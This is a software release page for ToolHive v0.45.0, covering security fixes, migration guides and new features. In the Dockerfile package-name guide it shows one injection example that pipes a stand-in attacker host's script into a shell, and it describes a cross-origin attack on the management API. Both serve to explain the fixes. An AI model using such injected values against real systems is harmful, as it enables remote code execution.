Skip to content

v0.45.0

Latest

Choose a tag to compare

@toolhive-release-app toolhive-release-app released this 26 Aug 13:23
· 4 commits to main since this release
cc922a8

🚀 Toolhive v0.45.0 is live!

A security-and-supply-chain release: two coordinated fixes harden the thv serve management API and the container build path, plugin artifacts gain end-to-end Sigstore verification, and skill pushes are now signed keylessly by default. Alongside that, Prometheus metrics move to a dedicated diagnostics port behind a migration switch, the embedded auth server gains two new RFC 7523 flows, and Virtual MCP finally honours configured backend timeouts and propagates backend health changes to live sessions.

🔐 Security

  • Cross-origin requests to the thv serve management API are now rejected — the management API creates workloads with caller-named host bind mounts, registers MCP servers into on-disk agent configs, and installs skill artifacts, all as unauthenticated state-changing routes in the default configuration, and a cross-origin web page could drive it with a CORS "simple" POST that never triggers a preflight. This is GHSA-xv9h-79wp-q9w6. Two independent barriers are added for TCP listeners only (migration guide below).
  • Package names can no longer inject shell syntax into generated Dockerfiles — package names from npx://, uvx:// and go:// references were interpolated into RUN instructions unvalidated; they are now constrained to a character class that excludes shell metacharacters, and the two remaining bare interpolations in the templates are quoted (migration guide below).
  • A UTF-8 BOM can no longer smuggle a filtered list past authorization — a BOM-prefixed tools/list/prompts/list/resources/list response failed every decode and sniff and passed through unfiltered, leaking entries the Cedar policy or tool filter was supposed to remove (#6304).
  • Non-2xx list responses are no longer delivered as HTTP 200 with an unfiltered body — under the transparent proxy, the first Flush() committed an implicit WriteHeader(200), so a backend 500 reached the client as a 200 carrying the full unfiltered list (#6335).
  • Stored plugin signature material is size-capped — Sigstore bundles and git commit payloads/signatures are rejected (422) above 1 MiB rather than truncated, so a hostile repo or registry cannot push a multi-MB blob into SQLite on every install (#6399).

⚠️ Breaking Changes

  • thv serve now requires Content-Type: application/json on state-changing requests that carry a body, and validates Origin on loopback TCP binds — non-JSON callers get 415 Unsupported Media Type (migration guide below)
  • Package names are constrained to [A-Za-z0-9@/:._+=~[]-] — a npx:///uvx:///go:// reference containing anything else now fails at build time instead of being interpolated into the Dockerfile (migration guide below)
  • thv skill sync without --clients now targets every skill-supporting client — combined with the new qoder client, every locked skill reports as drifted on the first sync after upgrading, and thv skill sync --check exits non-zero in CI (migration guide below)
  • runtime_config.build_with on npx:///go:// images is now a 400, and runtime_config.runtime_env is now actually applied to the built image — both were silently discarded by the workload REST API (migration guide below)
  • thv skill push requires exactly one of --key, --identity-token, or --no-signkey + no_sign was previously accepted and pushed an unsigned artifact; it is now a 400 (migration guide below)
  • Virtual MCP now honours operational.timeouts — a configured value below 30 s will now actually cut backend calls that previously got the silent 30 s default (migration guide below)
  • Several exported Go interfaces gained required methods or changed signaturesplugins.MaterializationAdapter, state.Store writers, storage.UpstreamTokenStorage, and six function signatures. No effect on the CLI, the operator, the wire protocol, or persisted state (migration guide below)
  • The thv llm local proxy returns 401 token_required instead of 502 server_error when the stored credential has been rejected by the IdP (#6389)
Migration guide: `thv serve` now requires application/json on state-changing requests

Who is affected: anything calling the thv serve management API over TCP with a POST/PUT/PATCH/DELETE that carries a body but does not set Content-Type: application/json. Studio is not affected — it runs thv serve --socket=<path>, and the UNIX-socket path skips both barriers entirely. Empty-body mutating routes (stop, restart) are unaffected, as are all GET/HEAD requests.

Two barriers were added to the middleware chain, for TCP listeners only:

  1. Origin validation with a loopback-only allowlist derived from the bind address — the same defence already used on the thv proxy path. A non-loopback bind (or --port 0) yields no allowlist and passes through, matching that path's behaviour; a WARN is logged so the disabled state is visible.
  2. application/json enforcement on state-changing requests with a body. text/plain, the form encodings, and an absent Content-Type are all CORS "simple" types exempt from preflight, and the handlers decoded them as JSON regardless. Requiring application/json forces a preflight the browser cannot clear. Chunked bodies (Content-Length: -1) take the strict path.

Before

# Accepted in v0.44.0 — body decoded as JSON regardless of Content-Type
curl -X POST http://127.0.0.1:8080/api/v1beta/workloads \
  -d '{"name":"fetch","image":"ghcr.io/example/fetch:latest"}'

After

# v0.45.0 — Content-Type is required
curl -X POST http://127.0.0.1:8080/api/v1beta/workloads \
  -H 'Content-Type: application/json' \
  -d '{"name":"fetch","image":"ghcr.io/example/fetch:latest"}'

Migration steps

  1. Add Content-Type: application/json to every request your client sends to thv serve that carries a body. Most HTTP clients already do; curl -d and bare fetch() do not.
  2. application/json; charset=UTF-8 also matches — the parameter is stripped before comparison.
  3. If you front thv serve on a non-loopback address, note that Origin validation is a pass-through there. Put it behind a reverse proxy that enforces Origin, and check for the startup WARN naming the bind address.
  4. If you run thv serve --socket=<path>, nothing changes.

Fixed in commit 7f15a63 — GHSA-xv9h-79wp-q9w6

Migration guide: package names are now constrained to a safe character class

Who is affected: anyone running thv run npx://…, uvx://… or go://… with a package reference containing characters outside A-Za-z0-9 and @ / : . _ + = ~ [ ] -. In practice this is nobody using a legitimate npm scope, PyPI pin/extra, or Go module path — the allowed set was chosen to cover all three ecosystems.

The package name is interpolated into RUN instructions in npx.tmpl, uvx.tmpl and go.tmpl. Before this change nothing validated it, so a name carrying shell metacharacters could break out of the instruction and execute arbitrary commands during the image build. The two remaining bare interpolations in npx.tmpl and go.tmpl are now single-quoted as well.

Before

# v0.44.0: interpolated into `RUN npm install --save <name>` unvalidated
thv run "npx://some-pkg; curl attacker.example | sh"

After

invalid package name "some-pkg; curl attacker.example | sh": only letters, digits
and the characters @/:._+=~[]- are allowed

Migration steps

  1. If a build starts failing with invalid package name, check the reference for spaces, quotes, ;, $, backticks, or parentheses.
  2. Legitimate forms are all still accepted: npx://@scope/pkg@1.2.3, uvx://pkg[extra]==1.0, go://github.com/org/mod/cmd/tool@v1.2.3, go://./local/path.
  3. Nothing to change for existing workloads — validation runs at build time, not on stored config.

Fixed in commit 68dc1ba

Migration guide: `thv skill sync` client expansion

Who is affected: every user of thv skill sync and POST /api/v1beta/skills/sync, and most acutely CI pipelines running thv skill sync --check.

Two changes combine. entryMatchesInstalled now treats a lock entry as current only if the installed skill covers every skill-supporting client, not just the clients it was recorded against; and reinstallPinned no longer falls back to the previously recorded client list. Independently, #5870 added Qoder as the 18th skill-supporting client.

The result: any skill locked under v0.44.0 has a recorded client list that cannot contain qoder, so it is reported as drifted on the first sync after upgrade — and a bare thv skill sync will materialize it into <project>/.qoder/skills/ as well. thv skill sync --check exits with the check-failure code, so a previously green CI gate turns red purely from the upgrade.

Before

# v0.44.0 — preserved the recorded client list, reported AlreadyCurrent
thv skill sync
thv skill sync --check   # exit 0

After

# v0.45.0 — pass the client list you actually want
thv skill sync --clients claude-code
thv skill sync --check --clients claude-code   # exit 0

Migration steps

  1. Run thv skill sync --check once after upgrading and expect drift on every locked skill. This is expected, not corruption.
  2. Decide which behaviour you want:
    • Accept the expansion — run thv skill sync once to materialize skills into all skill-supporting clients, including the new .qoder/skills/. Subsequent --check runs go green.
    • Preserve the old behaviour — pass --clients explicitly on every sync (and {"clients": [...]} on the REST endpoint) so the expected set is exactly what you specify.
  3. Update CI to whichever you chose before upgrading the runner's thv, so the gate does not fail on the upgrade commit.
  4. If .qoder/skills/ in a project tree is unwanted, add it to .gitignore or constrain --clients.
  5. thv skill upgrade is unchanged — it still preserves the existing client list.

PRs: #6352, #5870

Migration guide: workload API honours all `runtime_config` fields

Who is affected: REST callers of POST /api/v1beta/workloads and the workload update endpoint that send runtime_config.

The request type is *templates.RuntimeConfig and Swagger published all four of its fields, but the service layer only ever copied builder_image and additional_packages. A caller posting runtime_config.build_with got 201 Created and a workload built with unconstrained dependencies — silently, which is exactly the failure build_with exists to prevent. runtime_env was dropped the same way.

Before

POST /api/v1beta/workloads
{"name": "x", "image": "npx://some-pkg", "runtime_config": {"build_with": ["mcp<2"]}}
→ 201 Created   (build_with silently discarded, dependencies unconstrained)

After

POST /api/v1beta/workloads
{"name": "x", "image": "npx://some-pkg", "runtime_config": {"build_with": ["mcp<2"]}}
→ 400 Bad Request
   "build_with is not supported for npx:// builds (only uvx://)"

Migration steps

  1. Remove runtime_config.build_with from requests using npx:// or go:// images — it was never applied. Only uvx:// supports it.
  2. Audit any runtime_config.runtime_env you were sending: it now actually lands in the built image. Keys must match ^[A-Z][A-Z0-9_]*$, must not be reserved (PATH, HOME, USER, SHELL, PWD, HOSTNAME, TERM, LANG, LC_ALL, LD_PRELOAD, LD_LIBRARY_PATH), and values must not contain shell metacharacters.
  3. Package names starting with . or _, and names over 128 characters, now return an actionable 400 instead of a scrubbed 500 Internal Server Error. The workload was never created in either case.
  4. GET → edit → PUT of a protocol-built workload now succeeds instead of returning 400 and erasing the build configuration — no action needed, but re-test any round-trip tooling.
  5. Scripts grepping stderr for the literal --build-with should match build_with instead; the message is now shared by the CLI, the API, the TUI and the config file.

PR: #6214 — Fixes #6210

Migration guide: skill push signing inputs are now mutually exclusive

Who is affected: callers of POST /api/v1beta/skills/push, skillsvc.Push, and thv skill push that supplied more than one signing input.

Push previously only checked "key or no_sign". Supplying both meant no_sign silently won and the artifact was published unsigned. It is now a 400.

Before

{"reference": "ghcr.io/org/s:v1", "key": "/keys/cosign.key", "no_sign": true}
→ 200 OK   (artifact pushed UNSIGNED — no_sign silently won)

After

{"reference": "ghcr.io/org/s:v1", "key": "/keys/cosign.key", "no_sign": true}
→ 400 "no_sign (--no-sign) cannot be combined with key (--key) or identity_token (--identity-token)"

// Choose exactly one:
{"reference": "ghcr.io/org/s:v1", "key": "/keys/cosign.key"}     // key-pair signed
{"reference": "ghcr.io/org/s:v1", "identity_token": "<raw JWT>"} // keyless
{"reference": "ghcr.io/org/s:v1", "no_sign": true}               // explicitly unsigned

Migration steps

  1. Pick exactly one of key / identity_token / no_sign per push.
  2. Update anything matching the old error string "signing key required" — it is now "signing credential required".
  3. Note the related behaviour change from #6390: a bare thv skill push with no flags no longer fails. In GitHub Actions with id-token: write it signs keylessly from the ambient OIDC token; on an interactive terminal it prompts for a browser sign-in; anywhere else it fails client-side with an actionable error before anything is published. In CI and automation, pass one of the three flags explicitly rather than relying on the default.

PRs: #6385, #6390 — Closes #6307

Migration guide: vMCP backend timeouts are now honoured

Who is affected: Virtual MCP operators who set operational.timeouts.default or operational.timeouts.perWorkload. Deployments that omit operational.timeouts are unaffected — three independent 30 s fallbacks keep the default behaviour identical.

vMCP accepted the documented timeout settings but never used them for backend MCP calls; backend clients kept a hardcoded 30 s, and a separate 30 s server WriteTimeout could close a POST before a slow backend returned anything. Both are now driven by configuration.

Before

operational:
  timeouts:
    default: 5s          # accepted, then ignored — backends actually got 30s
    perWorkload:
      slow-backend: 5m   # accepted, then ignored — capped at 30s

After

operational:
  timeouts:
    default: 30s         # raise short values back to 30s to preserve v0.44.0 behaviour
    perWorkload:
      slow-backend: 5m   # now genuinely applied — size capacity accordingly

Migration steps

  1. Before upgrading, record every configured value: grep -A3 'timeouts:' <vmcp-config> or kubectl get virtualmcpserver -o yaml | grep -A5 timeouts.
  2. Values below 30 s are the breaking direction — they now actually cut backend calls that previously got the silent 30 s. Either raise them to 30s to preserve v0.44.0 behaviour, or keep them deliberately and verify your slowest tools/call completes inside the window.
  3. Values above 30 s now hold a request goroutine and an upstream connection for the full duration, and there is no validated upper bound. Size replica count and connection limits accordingly.
  4. Session initialization is protected: initOneBackend uses max(30s, requestTimeout), so a short configured value never shortens init.
  5. Watch for failed to <op> for backend <id> (timeout) in logs after upgrade to spot a value set too low.
  6. Note operational.failureHandling.healthCheckTimeout is separate and unaffected, and the cross-pod session-restore path is still a fixed 15 s.

PR: #6411 — Fixes #6410

Migration guide: Go API changes

Who is affected: Go consumers importing ToolHive packages. None of these affect the CLI, the operator, the wire protocol, or persisted state.

Package Change PR
pkg/plugins MaterializationAdapter gains required EnsureRegistered(ctx, DematerializeRequest) error and Health(ctx, DematerializeRequest) error #6314
pkg/groups RemovePluginFromAllGroups removed (use RemovePluginFromGroup per group); AddPluginToGroup and AddSkillToGroup now return (added bool, err error) #6314, #6352
pkg/state Writers must implement Aborter; Close() now publishes and can fail #6350
pkg/skills InstallOptions.Visited removed, replaced by ExpectedCanonicalName string #6352
pkg/authserver/storage UpstreamTokenStorage (and transitively Storage) gains required ResolveUpstreamTokenRowID #6361
pkg/authserver/server/registration LoopbackClient, NewLoopbackClient, MatchRedirectURI, GetMatchingRedirectURI removed; use the free function RegisteredLoopbackRedirectURI #6215
pkg/authserver/server/registration ValidateDCRRequest gains an allowPrivateKeyJWT bool parameter #6427
pkg/authserver/server/tokenexchange ValidateTrustedIssuers and NewMultiIssuerTokenValidator gain an allowedAudiences []string parameter #6391
pkg/api/v1 WorkloadService.BuildFullRunConfig gains a fourth parameter #6214
cmd/thv-operator/pkg/validation ValidateRemoteURL(rawURL string)ValidateRemoteURL(rawURL string, opts ValidateRemoteURLOptions) #6195

Two of these deserve concrete code:

pkg/state — writers must abort, and Close() publishes

LocalStore writers now write to a temp file and publish atomically on Close (os.Rename for GetWriter, os.Link for CreateExclusive). Three consequences: the target name does not exist until Close; Close returns real errors that must be handled; and CreateExclusive conflicts surface from Close rather than from the call itself.

Aborter is documented as required but enforced only at runtime — a Store whose writer lacks Abort() still compiles, and every abandon path then returns "state writer does not support abort" and leaks the file handle. Add a compile-time assertion.

// Before
writer, err := store.GetWriter(ctx, name)
if err != nil { return err }
defer func() {
    if err := writer.Close(); err != nil { slog.Warn("failed to close writer", "error", err) }
}()
if _, err := writer.Write(data); err != nil { return err }
return nil

// After
var _ state.Aborter = (*myWriter)(nil) // catch a missing Abort() at compile time

writer, err := store.GetWriter(ctx, name)
if err != nil { return err }
closed := false
defer func() {
    if !closed {
        if err := state.AbortWriter(writer); err != nil {
            slog.Warn("failed to abort writer", "name", name, "error", err)
        }
    }
}()
if _, err := writer.Write(data); err != nil { return err }
if err := writer.Close(); err != nil { // this is the publish — must be returned
    closed = true
    return fmt.Errorf("failed to close writer: %w", err)
}
closed = true
return nil

pkg/plugins — two new adapter methods

// EnsureRegistered re-applies only the client-config registration, without
// re-extracting files. Must be idempotent.
func (a *MyAdapter) EnsureRegistered(ctx context.Context, req plugins.DematerializeRequest) error {
    dir, err := a.paths(req)
    if err != nil { return err }
    return a.writeRegistration(req.Name, dir)
}

// Health is a presence check only — do not hash file contents into a digest.
func (a *MyAdapter) Health(ctx context.Context, req plugins.DematerializeRequest) error {
    dir, err := a.paths(req)
    if err != nil { return err }
    if _, err := os.Stat(dir); err != nil {
        return fmt.Errorf("plugin directory missing: %w", err)
    }
    return a.registrationPresent(req.Name, dir)
}

Migration steps

  1. Regenerate mocks with task gen after updating any implementation.
  2. For UpstreamTokenStorage, return a deterministic, non-empty, side-effect-free ID derived from your key scheme, and do no I/O — resolution happens before the singleflight joins, so a round-trip defeats the dedup. Never alias rows that are not physically the same row.
  3. For RegisteredLoopbackRedirectURI, note the changed return semantics: the old method returned the requested URI (dynamic port preserved); the new function returns the registered URI. Keep your own requested value if you need the port.
  4. Move any httperr.Code(err) == http.StatusConflict check from the CreateExclusive call site to the Close() call site.

🔄 Deprecations

  • /metrics on the transport port is deprecated in favour of the dedicated diagnostics listener (default port 9464) — the transport-port copy still serves by default in v0.45.0 via metricsOnTransportPort, but that default will flip in a future release (#6296, #6370, #6371, #6368)
Deprecation detail: moving Prometheus metrics to the diagnostics port

Existing scrape configurations keep working in v0.45.0. DefaultMetricsOnTransportPort is true and the field is a *bool with no CRD default, so an unset value inherits the release default and is not pinned into stored config. Metrics are simply served in two places during the migration window.

Why the move: /metrics shared the port that serves MCP traffic, which the operator binds to 0.0.0.0 and the Service maps. Kubernetes NetworkPolicy matches on pods, ports and protocols and cannot filter on HTTP path, so while the endpoint shares the transport port there is no way to express "allow MCP traffic, deny metrics scraping". Note the move adds no authentication — the diagnostics listener carries no middleware by design, and restricting who can reach the port is what protects it.

Cutting over

# CLI
thv run --otel-metrics-on-transport-port=false …
# Operator — MCPTelemetryConfig
spec:
  prometheus:
    metricsOnTransportPort: false

# Operator — VirtualMCPServer (inline)
spec:
  config:
    telemetry:
      metricsOnTransportPort: false
      prometheusPort: 9464        # vMCP only; MCPServer/MCPRemoteProxy are fixed at 9464
  1. Point your scraper at the diagnostics port (9464 unless overridden) and confirm metrics arrive.
  2. Set metricsOnTransportPort: false and confirm nothing else was still scraping the transport port.
  3. Leave it unset if you want to inherit the new default automatically when the window closes; set it explicitly only to opt out of that change.
  4. Restrict the diagnostics port with a NetworkPolicy — see docs/observability.md. It binds 0.0.0.0 under the operator, so any pod in the cluster can reach it by pod IP until you do. Do not add it to a Service or Ingress.
  5. Because no containerPort or Service port is declared, ServiceMonitor/named-port PodMonitor discovery will not find it — scrape with kubernetes_sd_configs role: pod and an explicit __address__ relabel to :9464.
  6. Expect a new startup WARN on every metrics-enabled workload naming the diagnostics address, and a 404 on the transport port once you opt out (the body explains itself and names the log line to grep for).

One genuinely breaking side effect, still present: when ToolHive metrics are not served on the transport port, /metrics now returns 404 on the application listener instead of falling through to the backend. Under the transparent proxy — remote servers via thv run <url> / MCPRemoteProxy, and container sse/streamable-http workloads — a backend that exposed its own /metrics through the ToolHive proxy is no longer reachable there. Scrape such backends directly instead.

📋 Upgrade Notes

  • kubectl apply of the raw virtualmcpservers CRD exceeds the 262144-byte annotation limit. This is pre-existing (it was already over at v0.44.0) rather than introduced here, but #6183 grew the mcpservers and mcpremoteproxies CRDs ~2.5× by expanding the corev1.Affinity schema, so it is worth stating plainly. helm install/upgrade and Flux are unaffected; Argo CD with the default client-side apply is not. Use kubectl apply --server-side --force-conflicts -f <crd-dir>, or add ServerSideApply=true to the Argo CD Application's syncOptions.
  • #6379 makes MCPServer readiness honest. A server whose workload StatefulSet was deleted out-of-band previously reported Ready=True while clients hit a dead backend; it now reports Pending / Ready=False and is auto-healed by bouncing the proxy (2-minute cooldown). Only already-broken servers are affected, but kubectl wait --for=condition=Ready and Argo/Flux health checks will now correctly show them as not ready. The operator also adopts a controller owner-ref on that StatefulSet — adoption is metadata-only and causes no pod churn, but deleting an MCPServer now garbage-collects its StatefulSet even if the finalizer does not run.
  • #6426 turns a previously silent misconfiguration into a reconcile error — confidential or delegate clients with a plain-HTTP non-loopback issuer now fail reconciliation instead of reconciling green and then crashlooping.
  • If your auth-server replicas share Redis, finish the rolling upgrade before enabling allowPrivateKeyJwtRegistration — a v0.44.0 replica silently drops the new jwks field when reading a row a v0.45.0 replica wrote.
  • All CRD changes in this release are additive or relaxing — no field was removed, renamed or retyped in any of the 14 CRDs across both served versions. Apply the updated CRDs as part of the normal operator upgrade.

🆕 New Features

  • Trusted external workloads can obtain MCP access tokens with a signed RFC 7523 assertion, without registering a ToolHive OAuth client — per-issuer policy, replay-safe memory and Redis storage, and audience/subject/resource binding (#6391)
  • Delegate clients can authenticate with private_key_jwt (RFC 7523 §2.2) instead of a shared secret, generating their own keypair and registering only the public half (#6427)
  • Trusted issuers can authorize external-actor delegation with a CEL expression over the token's full verified claims, so role- or group-based trust no longer needs an operator to edit an allowlist for every new value (#6364)
  • The MCPServer proxy Deployment can be steered onto specific nodes with nodeSelector, tolerations and affinity under resourceOverrides.proxyDeployment, so the proxy lands on the same pre-warmed pool as its server (#6183)
  • MCPServerEntry and MCPRemoteProxy gain spec.allowPrivateEndpoint, letting a Virtual MCP reach a co-located in-cluster backend in-mesh so the backend's workload-identity authorization still applies — loopback, link-local, cloud-metadata and kubernetes.default* stay blocked regardless (#6195)
  • Prometheus metrics are served on a dedicated diagnostics listener (default 9464) for both the proxy and Virtual MCP, so access can be governed by port with a NetworkPolicy (#6296, #6368), reachable from the CLI via --otel-metrics-on-transport-port and from the operator via prometheus.metricsOnTransportPort (#6371)
  • Operators can now distinguish a rate-limit dependency failure from an enforcement outcome — the new toolhive_rate_limit_fail_open_total counter and a rate_limit.fail_open span attribute record when a check failed open after a Redis error (#6282)
  • thv skill push signs keylessly by default: the CLI acquires an OIDC identity token (GitHub Actions ambient token in CI, browser sign-in on a terminal) and the server exchanges it with Fulcio and records a Rekor entry (#6385, #6390); release pushes in CI are signed rather than carrying the old --no-sign stopgap, and a new staging job verifies the result with stock cosign (#6402)
  • A skill's very first install is no longer trust-on-first-use — when it resolves through the catalog and the entry declares a provenance, that becomes the expected signer identity (#6420)
  • AI plugins gain a project lock file and Sigstore verification, behind TOOLHIVE_PLUGINS_LOCK_ENABLED=true and inert by default: project installs pin into toolhive.lock.yaml (#6314), thv ai-plugin sync restores and drift-checks them (#6316), thv ai-plugin upgrade advances a pin under review (#6317), bundles and git signatures are persisted (#6396), signatures are verified at install (#6397), and stored signatures are re-verified offline on every sync (#6399)
  • thv client register qoder configures Qoder IDE for MCP server integration and skill installation (#5870)
  • kubectl get mcpgroup shows a Proxies column from status.remoteProxyCount, so a group made entirely of MCPRemoteProxy members no longer looks empty (#6376)

🐛 Bug Fixes

  • Virtual MCP client sessions now receive notifications/tools/list_changed and an updated tools/list when a backend recovers or fails health checks, instead of serving the registration-time snapshot until reconnect — note that tools can now also disappear mid-session, since resync uses replace semantics (#6196)
  • Virtual MCP reuses tool embeddings across sessions instead of re-embedding the whole catalogue on every connect — measured on 140 aggregated tools, warm sessions drop from 16–19 s to sub-second with zero embedding calls (#5996)
  • Virtual MCP honours the configured operational.timeouts for backend calls, and no longer tears down a slow POST at the 30 s server write deadline (#6411)
  • Native MCP clients registered through DCR (VS Code, Claude Code) can complete the authorization flow against the embedded auth server — a portless http://localhost/callback registration listening on an ephemeral port was rejected as a redirect_uri mismatch, and OAuth errors now reach the client's real listener (#6215)
  • A refresh token can no longer be redeemed twice by callers that resolve to the same storage row under different session IDs, which could trigger IdP replay detection and revoke the credential family (#6361)
  • A refresh token the IdP has rejected now surfaces as an actionable "log in again" error naming thv llm setup, instead of an opaque invalid_grant that every consumer read as a transient provider fault and retried forever (#6389)
  • Delegate clients can use a loopback HTTP issuer when insecureAllowConfidentialOverLoopbackHTTP is explicitly enabled, unblocking local development; non-loopback HTTP issuers remain rejected (#6426)
  • Local state writes are atomic — a crash or error mid-write no longer leaves a truncated state file, and CreateExclusive's exists-check and creation are no longer racy (#6350)
  • kubectl rollout restart on ToolHive proxy Deployments and MCPServer workload StatefulSets is honoured instead of being reverted on the next reconcile (#6378)
  • A deleted MCPServer workload StatefulSet is recreated, and Ready is no longer claimed on a proxy-only stack serving a dead backend (#6379)
  • unix:// socket URLs round-trip correctly on Windows — POSIX paths no longer gain a fourth slash, and drive-letter paths parse instead of being rejected as not absolute (#6416)
  • thv skill sync and thv skill upgrade re-read each skill under its lock before classifying or mutating, so a concurrent uninstall is not resurrected and a newer install is not overwritten (#6352)
  • A UTF-8 BOM on a list response no longer bypasses authz and tool-filter list filtering (#6304)
  • A non-2xx list response is no longer rewritten to HTTP 200 with an unfiltered body (#6335)
  • The workload REST API honours all four runtime_config fields instead of silently dropping build_with and runtime_env (#6214)
  • Plugin uninstall now fails retryably on a group-cleanup error with the install intact, instead of succeeding with leaked group memberships (#6314)
  • The /metrics endpoint move is diagnosable: the dead endpoint returns an explanatory 404 body and the startup line is a WARN naming the resolved diagnostics address (#6369)
  • Transport-port metrics are restored behind metricsOnTransportPort, defaulting to on, so no existing scrape configuration breaks on upgrade (#6370)

🧹 Misc

  • Skill artifact signing switched to toolhive-core's container/signer, deleting the local duplicate that only ever supported key-pair signing (#6383)
  • Fixed a flaky close of closed channel panic in the vMCP backend session tests that aborted the whole test binary and surfaced as unrelated failures (#6363)
  • Local task test-e2e runs sweep workloads leaked by a Ginkgo timeout-kill, which had been exhausting the Docker network address pool (#6367)
  • The vMCP dual-era e2e specs run under the spec-required Accept: application/json, text/event-stream header (#6123)
  • Pinned golangci-lint to v2.12.2 to avoid an upstream nilness analyzer panic that was failing CI on main (#6393)
  • The GO-2026-5932 openpgp suppression now names a checkable removal trigger and records why the dependency cannot be fixed locally (#6286)
  • Five documented paths now point at the files they were renamed to (#6388)

📦 Dependencies

Module Version
github.com/moby/go-archive v0.3.0
github.com/stacklok/toolhive-catalog v0.20260824.0
anthropics/claude-code-action v1.0.205

Also bumped as part of feature work: github.com/stacklok/toolhive-core to v0.0.41 (#6383) and v0.0.42 (#6420) — the latter migrated cel to the renamed cel.dev/cel-go module.

👋 Welcome to our newest contributors: @TANTIOPE, @haaaashimi, @RaviTharuma, @premctl, @melbinjp, @christensenjairus, @talshechanovitz 🎉

Full commit log

What's Changed

  • fix(authz): commit recorded status before flushing in ResponseFilteri… by @Yanhaoxi in #6335
  • Strip leading UTF-8 BOM before filtering list responses by @Yanhaoxi in #6304
  • Guard test backend ready channel against double close by @jhrozek in #6363
  • Serve Prometheus metrics on a separate diagnostics listener by @amirejaz in #6296
  • Bump github.com/moby/go-archive from 0.2.0 to 0.3.0 by @dependabot[bot] in #6372
  • Sweep leaked workloads after local e2e runs by @jhrozek in #6367
  • Update anthropics/claude-code-action action to v1.0.195 by @renovate[bot] in #6338
  • Update module github.com/stacklok/toolhive-catalog to v0.20260817.0 by @renovate[bot] in #6375
  • Fix atomic local state writes by @jhrozek in #6350
  • Add CEL actor matching for trusted issuers by @jhrozek in #6364
  • Deduplicate refreshes by storage row by @jhrozek in #6361
  • Honor all runtime_config fields over the workload API by @jhrozek in #6214
  • Accept localhost dynamic-port loopback redirect_uris by @jhrozek in #6215
  • Reuse tool embeddings across sessions by @TANTIOPE in #5996
  • Record plugin installs in the project lock file by @samuv in #6314
  • Switch skill artifact signing to toolhive-core's signer by @samuv in #6383
  • Name the concrete removal trigger for the openpgp exclusion by @samuv in #6286
  • Rate limiting observability (metrics and tracing) PR C by @Sanskarzz in #6282
  • Add plugin lock-file sync by @samuv in #6316
  • Make the metrics endpoint move discoverable by @amirejaz in #6369
  • Add Qoder IDE as a supported MCP client by @haaaashimi in #5870
  • Serialize skill sync and upgrade under the lock by @samuv in #6352
  • Pin golangci-lint to avoid nilness panic on main by @samuv in #6393
  • Add plugin lock-file upgrade by @samuv in #6317
  • Add JWT-bearer assertion grant by @jhrozek in #6391
  • Restore transport-port metrics behind a migration switch by @amirejaz in #6370
  • Plumb an identity token through skill push for keyless signing by @samuv in #6385
  • fix(operator): add MCPGroup Proxies printer column by @RaviTharuma in #6376
  • Allow opt-in private endpoints for remote URLs by @premctl in #6195
  • fix(operator): honor kubectl rollout restart on ToolHive workloads by @RaviTharuma in #6378
  • fix(operator): recreate deleted MCPServer StatefulSet by @RaviTharuma in #6379
  • Add CLI identity-token acquisition for keyless skill push by @samuv in #6390
  • Enable keyless signing for CI skill pushes by @samuv in #6402
  • Report a rejected stored credential as re-login required by @aponcedeleonch in #6389
  • Resync session tools when backend health changes by @premctl in #6196
  • Point five stale doc paths at the moved files by @melbinjp in #6388
  • Check first skill install against catalog-declared provenance by @samuv in #6420
  • Update module github.com/stacklok/toolhive-catalog to v0.20260824.0 by @renovate[bot] in #6422
  • Fix Windows unix socket URL round-trip by @stantheman0128 in #6416
  • Update anthropics/claude-code-action action to v1.0.205 by @renovate[bot] in #6412
  • Store plugin sigstore bundles, carry git signature by @samuv in #6396
  • Allow loopback delegate clients by @jhrozek in #6426
  • Honor configured vMCP backend timeouts by @christensenjairus in #6411
  • Serve vMCP metrics on a separate diagnostics listener by @amirejaz in #6368
  • Add private_key_jwt DCR client authentication by @jhrozek in #6427
  • Verify plugin signatures at install time by @samuv in #6397
  • Expose the metrics migration switch to CLI and operator by @amirejaz in #6371
  • feat(operator): allow pod scheduling on the proxy Deployment via resourceOverrides by @talshechanovitz in #6183
  • Use conformant Accept in dual-era e2e by @kocaemre in #6123
  • Re-verify stored plugin signatures during sync by @samuv in #6399
  • Release v0.45.0 by @toolhive-release-app[bot] in #6436

New Contributors

Full Changelog: v0.44.0...v0.45.0

🔗 Full changelog: v0.44.0...v0.45.0